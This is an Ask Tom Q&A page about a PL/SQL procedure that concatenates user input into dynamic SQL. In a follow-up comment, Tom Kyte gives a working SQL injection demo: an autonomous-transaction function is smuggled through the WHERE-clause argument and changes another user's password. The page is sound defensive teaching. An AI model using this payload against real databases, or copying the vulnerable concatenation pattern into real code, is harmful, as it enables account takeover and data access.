Skip to Main Content
  • Questions
  • How to return dynamic sql result in ref cursor

Breadcrumb

Question and Answer

Tom Kyte

Thanks for the question, Muhammad Irfan.

Asked: March 25, 2012 - 5:46 am UTC

Last updated: June 29, 2012 - 10:36 am UTC

Version: 10.2.0.5

Viewed 10K+ times! This question is

You Asked

Hi Tom,

I have a stored procedure given below, I am trying to execute dynamic sql and return its result in ref cursor but it give error.

create or replace
PROCEDURE Summary_Proc
(
v_Conditions IN VARCHAR2 DEFAULT NULL ,
cv_1 IN OUT SYS_REFCURSOR
)
AS
v_SQL_ALL NVARCHAR2(4000);

BEGIN
v_SQL_ALL := 'select * from T_Transactions where ( ' || v_Conditions || ' ) ';
EXECUTE IMMEDIATE v_SQL_ALL INTO cv_1;
END;

It gives error

Error(12,4): PL/SQL: Statement ignored
Error(12,22): PLS-00382: expression is of wrong type

Please help me out what is wrong.

Regards Irfan

and Tom said...

thank goodness


Perhaps you've never heard of this thing called SQL Injection - but your routine is a prime example of it.


Please do not do this, that one routine would allow me to have read access to ANY TABLE, the ENTIRE TABLE in your schema, anything that the owner of this procedure has access to.

Furthermore, if I am another developer with CREATE SESSION and CREATE PROCEDURE, I can use this procedure of yours to gain full read/write access to anything you have - I can use this procedure to grant myself privileges you are allowed to grant - I can use this procedure to take over your entire account if I wanted to.

This procedure *should not exist* in its current form (even if it worked, which thankfully *it does not*)


I didn't even mention the fact that it doesn't use a single bind variable.


If you want to dynamically construct a query - you will do it like this:

http://www.oracle.com/technetwork/issue-archive/2009/09-jul/o49asktom-090487.html


The days of taking a where clause in and just concatenating it to a string and trying to execute it - they died with client server computing. You just cannot do it (and call yourself a programmer) in 3 tier applications!


That link also demonstrates how to open a ref cursor to be returned to the client.

Rating

  (4 ratings)

Is this answer out of date? If it is, please let us know via a Comment

Comments

A reader, March 26, 2012 - 12:04 pm UTC

Dear Sir,


can you explain more about this?


"Furthermore, if I am another developer with CREATE SESSION and CREATE PROCEDURE, I can use this procedure of yours to gain full read/write access to anything you have - I can use this procedure to grant myself privileges you are allowed to grant - I can use this procedure to take over your entire account if I wanted to."

thanks in advance



Tom Kyte
March 26, 2012 - 12:36 pm UTC

ops$tkyte%ORA11GR2> create user a identified by a;

User created.

ops$tkyte%ORA11GR2> create user b identified by b;

User created.

ops$tkyte%ORA11GR2> 
ops$tkyte%ORA11GR2> grant create session, create procedure to a;

Grant succeeded.

ops$tkyte%ORA11GR2> grant create session, create procedure to b;

Grant succeeded.

ops$tkyte%ORA11GR2> 
ops$tkyte%ORA11GR2> connect a/a
Connected.
a%ORA11GR2> 
a%ORA11GR2> create or replace procedure summary_proc( v_conditions in varchar2, cv_1 in out sys_refcursor )
  2  as
  3  begin
  4          open cv_1 for 'select * from dual where (' || v_conditions || ')';
  5  end;
  6  /

Procedure created.

a%ORA11GR2> grant execute on summary_proc to b;

Grant succeeded.

a%ORA11GR2> 
a%ORA11GR2> connect b/b
Connected.
b%ORA11GR2> 
b%ORA11GR2> create or replace function foo return number
  2  authid current_user
  3  as
  4          pragma autonomous_transaction;
  5  begin
  6          execute immediate 'alter user a identified by b';
  7          return 42;
  8  end;
  9  /

Function created.

b%ORA11GR2> 
b%ORA11GR2> grant execute on foo to a;

Grant succeeded.

b%ORA11GR2> 
b%ORA11GR2> variable x refcursor
b%ORA11GR2> exec a.summary_proc( 'b.foo() = 42', :x );

PL/SQL procedure successfully completed.

b%ORA11GR2> print x

D
-
X

b%ORA11GR2> connect a/a
ERROR:
ORA-01017: invalid username/password; logon denied


Warning: You are no longer connected to ORACLE.
b%ORA11GR2> connect a/b
Connected.
a%ORA11GR2> 



I can put any command in b.foo I want - and it'll execute "as a", I tricked A into running any arbitrary bit of code I want them to.


The fact people have to ask is reason #2342335 why procedures like the above 'summary_proc' and in fact any code like it (that takes inputs and just concatenates/executes them) should be outlawed and only permitted with exceptions - exceptions that have be reviewed by a really above and beyond set of developers intimately familiar with the issues.

And even then, if they can find a way to not have to make the exception (by using binds for example), the will reject the exception and recode it without any chances of sql injection.


Superb Demo

Stephen, March 27, 2012 - 10:41 am UTC

Hi Tom,
As usual wonderful demonstration with wonderful examples.

But what is the use of allowing a function to be an autonomous transaction other than doing mischievous things like this :)

Is there any valid use case where a function which executes has an autonomous transaction has ?

Regards,
Stephen
Tom Kyte
March 27, 2012 - 11:40 am UTC

error logging routines.


that is the only valid use I am aware of - for developing an error logging routine that can insert an error message into an audit trail, commit it, and re-raise the exception.

No Binding

A reader, June 28, 2012 - 7:00 am UTC

Is there any some specific cases when binding should not by used. How to identify that dynamic queries which are not binded are creating prolbem.
Tom Kyte
June 28, 2012 - 11:59 pm UTC

sure, absolutely there are.

In a warehouse or reporting system where the same sql isn't going to be executed over and over again.

period - there you go. when you are building ad-hoc queries that will never be reused again, even if binds were being used.


see
http://asktom.oracle.com/pls/asktom/f?p=100:11:0::::P11_QUESTION_ID:1163635055580

Not Binding

A reader, June 29, 2012 - 12:28 am UTC

Thank You. Got confused, even we take example of employee management system in which we fetch record for a employee the probability of fetching record for same employee is very less so in this system we will not binding? Please bear with me, the example you given in article there mostly end user will provider different search criteria for ename, hiredate and sal. So why we need to bind over there?
Tom Kyte
June 29, 2012 - 10:36 am UTC

It sounds like you definitely what to use bind variables.

You need to bind for the reason that people will put in different search criteria! You don't want to generate and compile 100's of thousands of unique sql statements.

You want to generate as few unique sql statements with bind variables and just keep reusing them over and over and over.


Do you want to compile a subroutine every time you are going to run it? of course not.

So, do not do that to your SQL, if you generate unique sql statements by not binding, you are COMPILING a subroutine every time before you run it. Not good.

More to Explore

PL/SQL demos

Check out more PL/SQL tutorials on our LiveSQL tool.

PL/SQL docs

PL/SQL reference manual from the Oracle documentation library